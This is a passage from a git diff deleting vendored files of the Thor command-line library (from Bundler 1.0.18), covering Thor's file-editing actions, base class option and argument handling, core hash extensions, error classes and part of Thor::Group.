-    # ==== Parameters
-    # path<String>:: path of the file to be changed
-    # data<String>:: the data to prepend to the file, can be also given as a block.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Example
-    #
-    #   prepend_to_file 'config/environments/test.rb', 'config.gem "rspec"'
-    #
-    #   prepend_to_file 'config/environments/test.rb' do
-    #     'config.gem "rspec"'
-    #   end
-    #
-    def prepend_to_file(path, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      config.merge!(:after => /\A/)
-      insert_into_file(path, *(args << config), &block)
-    end
-    alias_method :prepend_file, :prepend_to_file
-
-    # Append text to a file. Since it depends on insert_into_file, it's reversible.
-    #
-    # ==== Parameters
-    # path<String>:: path of the file to be changed
-    # data<String>:: the data to append to the file, can be also given as a block.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Example
-    #
-    #   append_to_file 'config/environments/test.rb', 'config.gem "rspec"'
-    #
-    #   append_to_file 'config/environments/test.rb' do
-    #     'config.gem "rspec"'
-    #   end
-    #
-    def append_to_file(path, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      config.merge!(:before => /\z/)
-      insert_into_file(path, *(args << config), &block)
-    end
-    alias_method :append_file, :append_to_file
-
-    # Injects text right after the class definition. Since it depends on
-    # insert_into_file, it's reversible.
-    #
-    # ==== Parameters
-    # path<String>:: path of the file to be changed
-    # klass<String|Class>:: the class to be manipulated
-    # data<String>:: the data to append to the class, can be also given as a block.
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Examples
-    #
-    #   inject_into_class "app/controllers/application_controller.rb", "  filter_parameter :password\n"
-    #
-    #   inject_into_class "app/controllers/application_controller.rb", ApplicationController do
-    #     "  filter_parameter :password\n"
-    #   end
-    #
-    def inject_into_class(path, klass, *args, &block)
-      config = args.last.is_a?(Hash) ? args.pop : {}
-      config.merge!(:after => /class #{klass}\n|class #{klass} .*\n/)
-      insert_into_file(path, *(args << config), &block)
-    end
-
-    # Run a regular expression replacement on a file.
-    #
-    # ==== Parameters
-    # path<String>:: path of the file to be changed
-    # flag<Regexp|String>:: the regexp or string to be replaced
-    # replacement<String>:: the replacement, can be also given as a block
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Example
-    #
-    #   gsub_file 'app/controllers/application_controller.rb', /#\s*(filter_parameter_logging :password)/, '\1'
-    #
-    #   gsub_file 'README', /rake/, :green do |match|
-    #     match << " no more. Use thor!"
-    #   end
-    #
-    def gsub_file(path, flag, *args, &block)
-      return unless behavior == :invoke
-      config = args.last.is_a?(Hash) ? args.pop : {}
-
-      path = File.expand_path(path, destination_root)
-      say_status :gsub, relative_to_original_destination_root(path), config.fetch(:verbose, true)
-
-      unless options[:pretend]
-        content = File.binread(path)
-        content.gsub!(flag, *args, &block)
-        File.open(path, 'wb') { |file| file.write(content) }
-      end
-    end
-
-    # Removes a file at the given location.
-    #
-    # ==== Parameters
-    # path<String>:: path of the file to be changed
-    # config<Hash>:: give :verbose => false to not log the status.
-    #
-    # ==== Example
-    #
-    #   remove_file 'README'
-    #   remove_file 'app/controllers/application_controller.rb'
-    #
-    def remove_file(path, config={})
-      return unless behavior == :invoke
-      path  = File.expand_path(path, destination_root)
-
-      say_status :remove, relative_to_original_destination_root(path), config.fetch(:verbose, true)
-      ::FileUtils.rm_rf(path) if !options[:pretend] && File.exists?(path)
-    end
-    alias :remove_dir :remove_file
-
-  private
-    attr_accessor :output_buffer
-    def concat(string)
-      @output_buffer.concat(string)
-    end
-
-    def capture(*args, &block)
-      with_output_buffer { block.call(*args) }
-    end
-
-    def with_output_buffer(buf = '') #:nodoc:
-      self.output_buffer, old_buffer = buf, output_buffer
-      yield
-      output_buffer
-    ensure
-      self.output_buffer = old_buffer
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/inject_into_file.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/inject_into_file.rb
deleted file mode 100644
index c48cfab5..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/actions/inject_into_file.rb
+++ /dev/null
@@ -1,109 +0,0 @@
-require 'thor/actions/empty_directory'
-
-class Thor
-  module Actions
-
-    # Injects the given content into a file. Different from gsub_file, this
-    # method is reversible.
-    #
-    # ==== Parameters
-    # destination<String>:: Relative path to the destination root
-    # data<String>:: Data to add to the file. Can be given as a block.
-    # config<Hash>:: give :verbose => false to not log the status and the flag
-    #                for injection (:after or :before) or :force => true for
-    #                insert two or more times the same content.
-    #
-    # ==== Examples
-    #
-    #   insert_into_file "config/environment.rb", "config.gem :thor", :after => "Rails::Initializer.run do |config|\n"
-    #
-    #   insert_into_file "config/environment.rb", :after => "Rails::Initializer.run do |config|\n" do
-    #     gems = ask "Which gems would you like to add?"
-    #     gems.split(" ").map{ |gem| "  config.gem :#{gem}" }.join("\n")
-    #   end
-    #
-    def insert_into_file(destination, *args, &block)
-      if block_given?
-        data, config = block, args.shift
-      else
-        data, config = args.shift, args.shift
-      end
-      action InjectIntoFile.new(self, destination, data, config)
-    end
-    alias_method :inject_into_file, :insert_into_file
-
-    class InjectIntoFile < EmptyDirectory #:nodoc:
-      attr_reader :replacement, :flag, :behavior
-
-      def initialize(base, destination, data, config)
-        super(base, destination, { :verbose => true }.merge(config))
-
-        @behavior, @flag = if @config.key?(:after)
-          [:after, @config.delete(:after)]
-        else
-          [:before, @config.delete(:before)]
-        end
-
-        @replacement = data.is_a?(Proc) ? data.call : data
-        @flag = Regexp.escape(@flag) unless @flag.is_a?(Regexp)
-      end
-
-      def invoke!
-        say_status :invoke
-
-        content = if @behavior == :after
-          '\0' + replacement
-        else
-          replacement + '\0'
-        end
-
-        replace!(/#{flag}/, content, config[:force])
-      end
-
-      def revoke!
-        say_status :revoke
-
-        regexp = if @behavior == :after
-          content = '\1\2'
-          /(#{flag})(.*)(#{Regexp.escape(replacement)})/m
-        else
-          content = '\2\3'
-          /(#{Regexp.escape(replacement)})(.*)(#{flag})/m
-        end
-
-        replace!(regexp, content, true)
-      end
-
-      protected
-
-        def say_status(behavior)
-          status = if behavior == :invoke
-            if flag == /\A/
-               :prepend
-            elsif flag == /\z/
-              :append
-            else
-              :insert
-            end
-          else
-            :subtract
-          end
-
-          super(status, config[:verbose])
-        end
-
-        # Adds the content to the file.
-        #
-        def replace!(regexp, string, force)
-          unless base.options[:pretend]
-            content = File.binread(destination)
-            if force || !content.include?(replacement)
-              content.gsub!(regexp, string)
-              File.open(destination, 'wb') { |file| file.write(content) }
-            end
-          end
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/base.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/base.rb
deleted file mode 100644
index 65399ffb..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/base.rb
+++ /dev/null
@@ -1,576 +0,0 @@
-require 'thor/core_ext/hash_with_indifferent_access'
-require 'thor/core_ext/ordered_hash'
-require 'thor/error'
-require 'thor/shell'
-require 'thor/invocation'
-require 'thor/parser'
-require 'thor/task'
-require 'thor/util'
-
-class Thor
-  autoload :Actions,    'thor/actions'
-  autoload :RakeCompat, 'thor/rake_compat'
-
-  # Shortcuts for help.
-  HELP_MAPPINGS       = %w(-h -? --help -D)
-
-  # Thor methods that should not be overwritten by the user.
-  THOR_RESERVED_WORDS = %w(invoke shell options behavior root destination_root relative_root
-                           action add_file create_file in_root inside run run_ruby_script)
-
-  module Base
-    attr_accessor :options
-
-    # It receives arguments in an Array and two hashes, one for options and
-    # other for configuration.
-    #
-    # Notice that it does not check if all required arguments were supplied.
-    # It should be done by the parser.
-    #
-    # ==== Parameters
-    # args<Array[Object]>:: An array of objects. The objects are applied to their
-    #                       respective accessors declared with <tt>argument</tt>.
-    #
-    # options<Hash>:: An options hash that will be available as self.options.
-    #                 The hash given is converted to a hash with indifferent
-    #                 access, magic predicates (options.skip?) and then frozen.
-    #
-    # config<Hash>:: Configuration for this Thor class.
-    #
-    def initialize(args=[], options={}, config={})
-      args = Thor::Arguments.parse(self.class.arguments, args)
-      args.each { |key, value| send("#{key}=", value) }
-
-      parse_options = self.class.class_options
-
-      if options.is_a?(Array)
-        task_options  = config.delete(:task_options) # hook for start
-        parse_options = parse_options.merge(task_options) if task_options
-        array_options, hash_options = options, {}
-      else
-        array_options, hash_options = [], options
-      end
-
-      opts = Thor::Options.new(parse_options, hash_options)
-      self.options = opts.parse(array_options)
-      opts.check_unknown! if self.class.check_unknown_options?(config)
-    end
-
-    class << self
-      def included(base) #:nodoc:
-        base.send :extend,  ClassMethods
-        base.send :include, Invocation
-        base.send :include, Shell
-      end
-
-      # Returns the classes that inherits from Thor or Thor::Group.
-      #
-      # ==== Returns
-      # Array[Class]
-      #
-      def subclasses
-        @subclasses ||= []
-      end
-
-      # Returns the files where the subclasses are kept.
-      #
-      # ==== Returns
-      # Hash[path<String> => Class]
-      #
-      def subclass_files
-        @subclass_files ||= Hash.new{ |h,k| h[k] = [] }
-      end
-
-      # Whenever a class inherits from Thor or Thor::Group, we should track the
-      # class and the file on Thor::Base. This is the method responsable for it.
-      #
-      def register_klass_file(klass) #:nodoc:
-        file = caller[1].match(/(.*):\d+/)[1]
-        Thor::Base.subclasses << klass unless Thor::Base.subclasses.include?(klass)
-
-        file_subclasses = Thor::Base.subclass_files[File.expand_path(file)]
-        file_subclasses << klass unless file_subclasses.include?(klass)
-      end
-    end
-
-    module ClassMethods
-      def attr_reader(*) #:nodoc:
-        no_tasks { super }
-      end
-
-      def attr_writer(*) #:nodoc:
-        no_tasks { super }
-      end
-
-      def attr_accessor(*) #:nodoc:
-        no_tasks { super }
-      end
-
-      # If you want to raise an error for unknown options, call check_unknown_options!
-      # This is disabled by default to allow dynamic invocations.
-      def check_unknown_options!
-        @check_unknown_options = true
-      end
-
-      def check_unknown_options #:nodoc:
-        @check_unknown_options ||= from_superclass(:check_unknown_options, false)
-      end
-
-      def check_unknown_options?(config) #:nodoc:
-        !!check_unknown_options
-      end
-
-      # Adds an argument to the class and creates an attr_accessor for it.
-      #
-      # Arguments are different from options in several aspects. The first one
-      # is how they are parsed from the command line, arguments are retrieved
-      # from position:
-      #
-      #   thor task NAME
-      #
-      # Instead of:
-      #
-      #   thor task --name=NAME
-      #
-      # Besides, arguments are used inside your code as an accessor (self.argument),
-      # while options are all kept in a hash (self.options).
-      #
-      # Finally, arguments cannot have type :default or :boolean but can be
-      # optional (supplying :optional => :true or :required => false), although
-      # you cannot have a required argument after a non-required argument. If you
-      # try it, an error is raised.
-      #
-      # ==== Parameters
-      # name<Symbol>:: The name of the argument.
-      # options<Hash>:: Described below.
-      #
-      # ==== Options
-      # :desc     - Description for the argument.
-      # :required - If the argument is required or not.
-      # :optional - If the argument is optional or not.
-      # :type     - The type of the argument, can be :string, :hash, :array, :numeric.
-      # :default  - Default value for this argument. It cannot be required and have default values.
-      # :banner   - String to show on usage notes.
-      #
-      # ==== Errors
-      # ArgumentError:: Raised if you supply a required argument after a non required one.
-      #
-      def argument(name, options={})
-        is_thor_reserved_word?(name, :argument)
-        no_tasks { attr_accessor name }
-
-        required = if options.key?(:optional)
-          !options[:optional]
-        elsif options.key?(:required)
-          options[:required]
-        else
-          options[:default].nil?
-        end
-
-        remove_argument name
-
-        arguments.each do |argument|
-          next if argument.required?
-          raise ArgumentError, "You cannot have #{name.to_s.inspect} as required argument after " <<
-                               "the non-required argument #{argument.human_name.inspect}."
-        end if required
-
-        arguments << Thor::Argument.new(name, options[:desc], required, options[:type],
-                                              options[:default], options[:banner])
-      end
-
-      # Returns this class arguments, looking up in the ancestors chain.
-      #
-      # ==== Returns
-      # Array[Thor::Argument]
-      #
-      def arguments
-        @arguments ||= from_superclass(:arguments, [])
-      end
-
-      # Adds a bunch of options to the set of class options.
-      #
-      #   class_options :foo => false, :bar => :required, :baz => :string
-      #
-      # If you prefer more detailed declaration, check class_option.
-      #
-      # ==== Parameters
-      # Hash[Symbol => Object]
-      #
-      def class_options(options=nil)
-        @class_options ||= from_superclass(:class_options, {})
-        build_options(options, @class_options) if options
-        @class_options
-      end
-
-      # Adds an option to the set of class options
-      #
-      # ==== Parameters
-      # name<Symbol>:: The name of the argument.
-      # options<Hash>:: Described below.
-      #
-      # ==== Options
-      # :desc     - Description for the argument.
-      # :required - If the argument is required or not.
-      # :default  - Default value for this argument.
-      # :group    - The group for this options. Use by class options to output options in different levels.
-      # :aliases  - Aliases for this option.
-      # :type     - The type of the argument, can be :string, :hash, :array, :numeric or :boolean.
-      # :banner   - String to show on usage notes.
-      #
-      def class_option(name, options={})
-        build_option(name, options, class_options)
-      end
-
-      # Removes a previous defined argument. If :undefine is given, undefine
-      # accessors as well.
-      #
-      # ==== Paremeters
-      # names<Array>:: Arguments to be removed
-      #
-      # ==== Examples
-      #
-      #   remove_argument :foo
-      #   remove_argument :foo, :bar, :baz, :undefine => true
-      #
-      def remove_argument(*names)
-        options = names.last.is_a?(Hash) ? names.pop : {}
-
-        names.each do |name|
-          arguments.delete_if { |a| a.name == name.to_s }
-          undef_method name, "#{name}=" if options[:undefine]
-        end
-      end
-
-      # Removes a previous defined class option.
-      #
-      # ==== Paremeters
-      # names<Array>:: Class options to be removed
-      #
-      # ==== Examples
-      #
-      #   remove_class_option :foo
-      #   remove_class_option :foo, :bar, :baz
-      #
-      def remove_class_option(*names)
-        names.each do |name|
-          class_options.delete(name)
-        end
-      end
-
-      # Defines the group. This is used when thor list is invoked so you can specify
-      # that only tasks from a pre-defined group will be shown. Defaults to standard.
-      #
-      # ==== Parameters
-      # name<String|Symbol>
-      #
-      def group(name=nil)
-        case name
-          when nil
-            @group ||= from_superclass(:group, 'standard')
-          else
-            @group = name.to_s
-        end
-      end
-
-      # Returns the tasks for this Thor class.
-      #
-      # ==== Returns
-      # OrderedHash:: An ordered hash with tasks names as keys and Thor::Task
-      #               objects as values.
-      #
-      def tasks
-        @tasks ||= Thor::CoreExt::OrderedHash.new
-      end
-
-      # Returns the tasks for this Thor class and all subclasses.
-      #
-      # ==== Returns
-      # OrderedHash:: An ordered hash with tasks names as keys and Thor::Task
-      #               objects as values.
-      #
-      def all_tasks
-        @all_tasks ||= from_superclass(:all_tasks, Thor::CoreExt::OrderedHash.new)
-        @all_tasks.merge(tasks)
-      end
-
-      # Removes a given task from this Thor class. This is usually done if you
-      # are inheriting from another class and don't want it to be available
-      # anymore.
-      #
-      # By default it only remove the mapping to the task. But you can supply
-      # :undefine => true to undefine the method from the class as well.
-      #
-      # ==== Parameters
-      # name<Symbol|String>:: The name of the task to be removed
-      # options<Hash>:: You can give :undefine => true if you want tasks the method
-      #                 to be undefined from the class as well.
-      #
-      def remove_task(*names)
-        options = names.last.is_a?(Hash) ? names.pop : {}
-
-        names.each do |name|
-          tasks.delete(name.to_s)
-          all_tasks.delete(name.to_s)
-          undef_method name if options[:undefine]
-        end
-      end
-
-      # All methods defined inside the given block are not added as tasks.
-      #
-      # So you can do:
-      #
-      #   class MyScript < Thor
-      #     no_tasks do
-      #       def this_is_not_a_task
-      #       end
-      #     end
-      #   end
-      #
-      # You can also add the method and remove it from the task list:
-      #
-      #   class MyScript < Thor
-      #     def this_is_not_a_task
-      #     end
-      #     remove_task :this_is_not_a_task
-      #   end
-      #
-      def no_tasks
-        @no_tasks = true
-        yield
-      ensure
-        @no_tasks = false
-      end
-
-      # Sets the namespace for the Thor or Thor::Group class. By default the
-      # namespace is retrieved from the class name. If your Thor class is named
-      # Scripts::MyScript, the help method, for example, will be called as:
-      #
-      #   thor scripts:my_script -h
-      #
-      # If you change the namespace:
-      #
-      #   namespace :my_scripts
-      #
-      # You change how your tasks are invoked:
-      #
-      #   thor my_scripts -h
-      #
-      # Finally, if you change your namespace to default:
-      #
-      #   namespace :default
-      #
-      # Your tasks can be invoked with a shortcut. Instead of:
-      #
-      #   thor :my_task
-      #
-      def namespace(name=nil)
-        case name
-        when nil
-          @namespace ||= Thor::Util.namespace_from_thor_class(self)
-        else
-          @namespace = name.to_s
-        end
-      end
-
-      # Parses the task and options from the given args, instantiate the class
-      # and invoke the task. This method is used when the arguments must be parsed
-      # from an array. If you are inside Ruby and want to use a Thor class, you
-      # can simply initialize it:
-      #
-      #   script = MyScript.new(args, options, config)
-      #   script.invoke(:task, first_arg, second_arg, third_arg)
-      #
-      def start(given_args=ARGV, config={})
-        config[:shell] ||= Thor::Base.shell.new
-        dispatch(nil, given_args.dup, nil, config)
-      rescue Thor::Error => e
-        ENV["THOR_DEBUG"] == "1" ? (raise e) : config[:shell].error(e.message)
-        exit(1) if exit_on_failure?
-      end
-
-      # Allows to use private methods from parent in child classes as tasks.
-      #
-      # ==== Paremeters
-      #   names<Array>:: Method names to be used as tasks
-      #
-      # ==== Examples
-      #
-      #   public_task :foo
-      #   public_task :foo, :bar, :baz
-      #
-      def public_task(*names)
-        names.each do |name|
-          class_eval "def #{name}(*); super end"
-        end
-      end
-
-      def handle_no_task_error(task) #:nodoc:
-        if $thor_runner
-          raise UndefinedTaskError, "Could not find task #{task.inspect} in #{namespace.inspect} namespace."
-        else
-          raise UndefinedTaskError, "Could not find task #{task.inspect}."
-        end
-      end
-
-      def handle_argument_error(task, error) #:nodoc:
-        raise InvocationError, "#{task.name.inspect} was called incorrectly. Call as #{self.banner(task).inspect}."
-      end
-
-      protected
-
-        # Prints the class options per group. If an option does not belong to
-        # any group, it's printed as Class option.
-        #
-        def class_options_help(shell, groups={}) #:nodoc:
-          # Group options by group
-          class_options.each do |_, value|
-            groups[value.group] ||= []
-            groups[value.group] << value
-          end
-
-          # Deal with default group
-          global_options = groups.delete(nil) || []
-          print_options(shell, global_options)
-
-          # Print all others
-          groups.each do |group_name, options|
-            print_options(shell, options, group_name)
-          end
-        end
-
-        # Receives a set of options and print them.
-        def print_options(shell, options, group_name=nil)
-          return if options.empty?
-
-          list = []
-          padding = options.collect{ |o| o.aliases.size }.max.to_i * 4
-
-          options.each do |option|
-            item = [ option.usage(padding) ]
-            item.push(option.description ? "# #{option.description}" : "")
-
-            list << item
-            list << [ "", "# Default: #{option.default}" ] if option.show_default?
-          end
-
-          shell.say(group_name ? "#{group_name} options:" : "Options:")
-          shell.print_table(list, :ident => 2)
-          shell.say ""
-        end
-
-        # Raises an error if the word given is a Thor reserved word.
-        def is_thor_reserved_word?(word, type) #:nodoc:
-          return false unless THOR_RESERVED_WORDS.include?(word.to_s)
-          raise "#{word.inspect} is a Thor reserved word and cannot be defined as #{type}"
-        end
-
-        # Build an option and adds it to the given scope.
-        #
-        # ==== Parameters
-        # name<Symbol>:: The name of the argument.
-        # options<Hash>:: Described in both class_option and method_option.
-        def build_option(name, options, scope) #:nodoc:
-          scope[name] = Thor::Option.new(name, options[:desc], options[:required],
-                                               options[:type], options[:default], options[:banner],
-                                               options[:lazy_default], options[:group], options[:aliases])
-        end
-
-        # Receives a hash of options, parse them and add to the scope. This is a
-        # fast way to set a bunch of options:
-        #
-        #   build_options :foo => true, :bar => :required, :baz => :string
-        #
-        # ==== Parameters
-        # Hash[Symbol => Object]
-        def build_options(options, scope) #:nodoc:
-          options.each do |key, value|
-            scope[key] = Thor::Option.parse(key, value)
-          end
-        end
-
-        # Finds a task with the given name. If the task belongs to the current
-        # class, just return it, otherwise dup it and add the fresh copy to the
-        # current task hash.
-        def find_and_refresh_task(name) #:nodoc:
-          task = if task = tasks[name.to_s]
-            task
-          elsif task = all_tasks[name.to_s]
-            tasks[name.to_s] = task.clone
-          else
-            raise ArgumentError, "You supplied :for => #{name.inspect}, but the task #{name.inspect} could not be found."
-          end
-        end
-
-        # Everytime someone inherits from a Thor class, register the klass
-        # and file into baseclass.
-        def inherited(klass)
-          Thor::Base.register_klass_file(klass)
-        end
-
-        # Fire this callback whenever a method is added. Added methods are
-        # tracked as tasks by invoking the create_task method.
-        def method_added(meth)
-          meth = meth.to_s
-
-          if meth == "initialize"
-            initialize_added
-            return
-          end
-
-          # Return if it's not a public instance method
-          return unless public_instance_methods.include?(meth) ||
-                        public_instance_methods.include?(meth.to_sym)
-
-          return if @no_tasks || !create_task(meth)
-
-          is_thor_reserved_word?(meth, :task)
-          Thor::Base.register_klass_file(self)
-        end
-
-        # Retrieves a value from superclass. If it reaches the baseclass,
-        # returns default.
-        def from_superclass(method, default=nil)
-          if self == baseclass || !superclass.respond_to?(method, true)
-            default
-          else
-            value = superclass.send(method)
-            value.dup if value
-          end
-        end
-
-        # A flag that makes the process exit with status 1 if any error happens.
-        def exit_on_failure?
-          false
-        end
-
-        #
-        # The basename of the program invoking the thor class.
-        #
-        def basename
-          File.basename($0).split(' ').first
-        end
-
-        # SIGNATURE: Sets the baseclass. This is where the superclass lookup
-        # finishes.
-        def baseclass #:nodoc:
-        end
-
-        # SIGNATURE: Creates a new task if valid_task? is true. This method is
-        # called when a new method is added to the class.
-        def create_task(meth) #:nodoc:
-        end
-
-        # SIGNATURE: Defines behavior when the initialize method is added to the
-        # class.
-        def initialize_added #:nodoc:
-        end
-
-        # SIGNATURE: The hook invoked by start.
-        def dispatch(task, given_args, given_opts, config) #:nodoc:
-          raise NotImplementedError
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/core_ext/file_binary_read.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/core_ext/file_binary_read.rb
deleted file mode 100644
index d6af7e44..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/core_ext/file_binary_read.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class File #:nodoc:
-
-  unless File.respond_to?(:binread)
-    def self.binread(file)
-      File.open(file, 'rb') { |f| f.read }
-    end
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/core_ext/hash_with_indifferent_access.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/core_ext/hash_with_indifferent_access.rb
deleted file mode 100644
index 40d201d9..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/core_ext/hash_with_indifferent_access.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-class Thor
-  module CoreExt #:nodoc:
-
-    # A hash with indifferent access and magic predicates.
-    #
-    #   hash = Thor::CoreExt::HashWithIndifferentAccess.new 'foo' => 'bar', 'baz' => 'bee', 'force' => true
-    #
-    #   hash[:foo]  #=> 'bar'
-    #   hash['foo'] #=> 'bar'
-    #   hash.foo?   #=> true
-    #
-    class HashWithIndifferentAccess < ::Hash #:nodoc:
-
-      def initialize(hash={})
-        super()
-        hash.each do |key, value|
-          self[convert_key(key)] = value
-        end
-      end
-
-      def [](key)
-        super(convert_key(key))
-      end
-
-      def []=(key, value)
-        super(convert_key(key), value)
-      end
-
-      def delete(key)
-        super(convert_key(key))
-      end
-
-      def values_at(*indices)
-        indices.collect { |key| self[convert_key(key)] }
-      end
-
-      def merge(other)
-        dup.merge!(other)
-      end
-
-      def merge!(other)
-        other.each do |key, value|
-          self[convert_key(key)] = value
-        end
-        self
-      end
-
-      protected
-
-        def convert_key(key)
-          key.is_a?(Symbol) ? key.to_s : key
-        end
-
-        # Magic predicates. For instance:
-        #
-        #   options.force?                  # => !!options['force']
-        #   options.shebang                 # => "/usr/lib/local/ruby"
-        #   options.test_framework?(:rspec) # => options[:test_framework] == :rspec
-        #
-        def method_missing(method, *args, &block)
-          method = method.to_s
-          if method =~ /^(\w+)\?$/
-            if args.empty?
-              !!self[$1]
-            else
-              self[$1] == args.first
-            end
-          else
-            self[method]
-          end
-        end
-
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/core_ext/ordered_hash.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/core_ext/ordered_hash.rb
deleted file mode 100644
index 27fea5bb..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/core_ext/ordered_hash.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-class Thor
-  module CoreExt #:nodoc:
-
-    if RUBY_VERSION >= '1.9'
-      class OrderedHash < ::Hash
-      end
-    else
-      # This class is based on the Ruby 1.9 ordered hashes.
-      #
-      # It keeps the semantics and most of the efficiency of normal hashes
-      # while also keeping track of the order in which elements were set.
-      #
-      class OrderedHash #:nodoc:
-        include Enumerable
-
-        Node = Struct.new(:key, :value, :next, :prev)
-
-        def initialize
-          @hash = {}
-        end
-
-        def [](key)
-          @hash[key] && @hash[key].value
-        end
-
-        def []=(key, value)
-          if node = @hash[key]
-            node.value = value
-          else
-            node = Node.new(key, value)
-
-            if @first.nil?
-              @first = @last = node
-            else
-              node.prev = @last
-              @last.next = node
-              @last = node
-            end
-          end
-
-          @hash[key] = node
-          value
-        end
-
-        def delete(key)
-          if node = @hash[key]
-            prev_node = node.prev
-            next_node = node.next
-
-            next_node.prev = prev_node if next_node
-            prev_node.next = next_node if prev_node
-
-            @first = next_node if @first == node
-            @last = prev_node  if @last  == node
-
-            value = node.value
-          end
-
-          @hash.delete(key)
-          value
-        end
-
-        def keys
-          self.map { |k, v| k }
-        end
-
-        def values
-          self.map { |k, v| v }
-        end
-
-        def each
-          return unless @first
-          yield [@first.key, @first.value]
-          node = @first
-          yield [node.key, node.value] while node = node.next
-          self
-        end
-
-        def merge(other)
-          hash = self.class.new
-
-          self.each do |key, value|
-            hash[key] = value
-          end
-
-          other.each do |key, value|
-            hash[key] = value
-          end
-
-          hash
-        end
-
-        def empty?
-          @hash.empty?
-        end
-      end
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/error.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/error.rb
deleted file mode 100644
index 9746b882..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/error.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-class Thor
-  # Thor::Error is raised when it's caused by wrong usage of thor classes. Those
-  # errors have their backtrace supressed and are nicely shown to the user.
-  #
-  # Errors that are caused by the developer, like declaring a method which
-  # overwrites a thor keyword, it SHOULD NOT raise a Thor::Error. This way, we
-  # ensure that developer errors are shown with full backtrace.
-  #
-  class Error < StandardError
-  end
-
-  # Raised when a task was not found.
-  #
-  class UndefinedTaskError < Error
-  end
-
-  # Raised when a task was found, but not invoked properly.
-  #
-  class InvocationError < Error
-  end
-
-  class UnknownArgumentError < Error
-  end
-
-  class RequiredArgumentMissingError < InvocationError
-  end
-
-  class MalformattedArgumentError < InvocationError
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/group.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/group.rb
deleted file mode 100644
index 3dbab98a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/group.rb
+++ /dev/null
@@ -1,273 +0,0 @@
-require 'thor/base'
-
-# Thor has a special class called Thor::Group. The main difference to Thor class
-# is that it invokes all tasks at once. It also include some methods that allows
-# invocations to be done at the class method, which are not available to Thor
-# tasks.
-class Thor::Group
-  class << self
-    # The description for this Thor::Group. If none is provided, but a source root
-    # exists, tries to find the USAGE one folder above it, otherwise searches
-    # in the superclass.
-    #
-    # ==== Parameters
-    # description<String>:: The description for this Thor::Group.
-    #
-    def desc(description=nil)
-      case description
-        when nil
-          @desc ||= from_superclass(:desc, nil)
-        else
-          @desc = description
-      end
-    end
-
-    # Prints help information.
-    #
-    # ==== Options
-    # short:: When true, shows only usage.
-    #
-    def help(shell)
-      shell.say "Usage:"
-      shell.say "  #{banner}\n"
-      shell.say
-      class_options_help(shell)
-      shell.say self.desc if self.desc
-    end
-
-    # Stores invocations for this class merging with superclass values.
-    #
-    def invocations #:nodoc:
-      @invocations ||= from_superclass(:invocations, {})
-    end
-
-    # Stores invocation blocks used on invoke_from_option.
-    #
-    def invocation_blocks #:nodoc:
-      @invocation_blocks ||= from_superclass(:invocation_blocks, {})
-    end
-
-    # Invoke the given namespace or class given. It adds an instance
-    # method that will invoke the klass and task. You can give a block to
-    # configure how it will be invoked.
-    #
-    # The namespace/class given will have its options showed on the help
-    # usage. Check invoke_from_option for more information.
-    #
-    def invoke(*names, &block)
-      options = names.last.is_a?(Hash) ? names.pop : {}
-      verbose = options.fetch(:verbose, true)
-
-      names.each do |name|
-        invocations[name] = false
-        invocation_blocks[name] = block if block_given?
-
-        class_eval <<-METHOD, __FILE__, __LINE__
-          def _invoke_#{name.to_s.gsub(/\W/, '_')}
-            klass, task = self.class.prepare_for_invocation(nil, #{name.inspect})
-
-            if klass
-              say_status :invoke, #{name.inspect}, #{verbose.inspect}
-              block = self.class.invocation_blocks[#{name.inspect}]
-              _invoke_for_class_method klass, task, &block
-            else
-              say_status :error, %(#{name.inspect} [not found]), :red
-            end
-          end
-        METHOD
-      end
-    end
-
-    # Invoke a thor class based on the value supplied by the user to the
-    # given option named "name". A class option must be created before this
-    # method is invoked for each name given.
-    #
-    # ==== Examples
-    #
-    #   class GemGenerator < Thor::Group
-    #     class_option :test_framework, :type => :string
-    #     invoke_from_option :test_framework
-    #   end
-    #
-    # ==== Boolean options
-    #
-    # In some cases, you want to invoke a thor class if some option is true or
-    # false. This is automatically handled by invoke_from_option. Then the
-    # option name is used to invoke the generator.
-    #
-    # ==== Preparing for invocation
-    #
-    # In some cases you want to customize how a specified hook is going to be
-    # invoked. You can do that by overwriting the class method
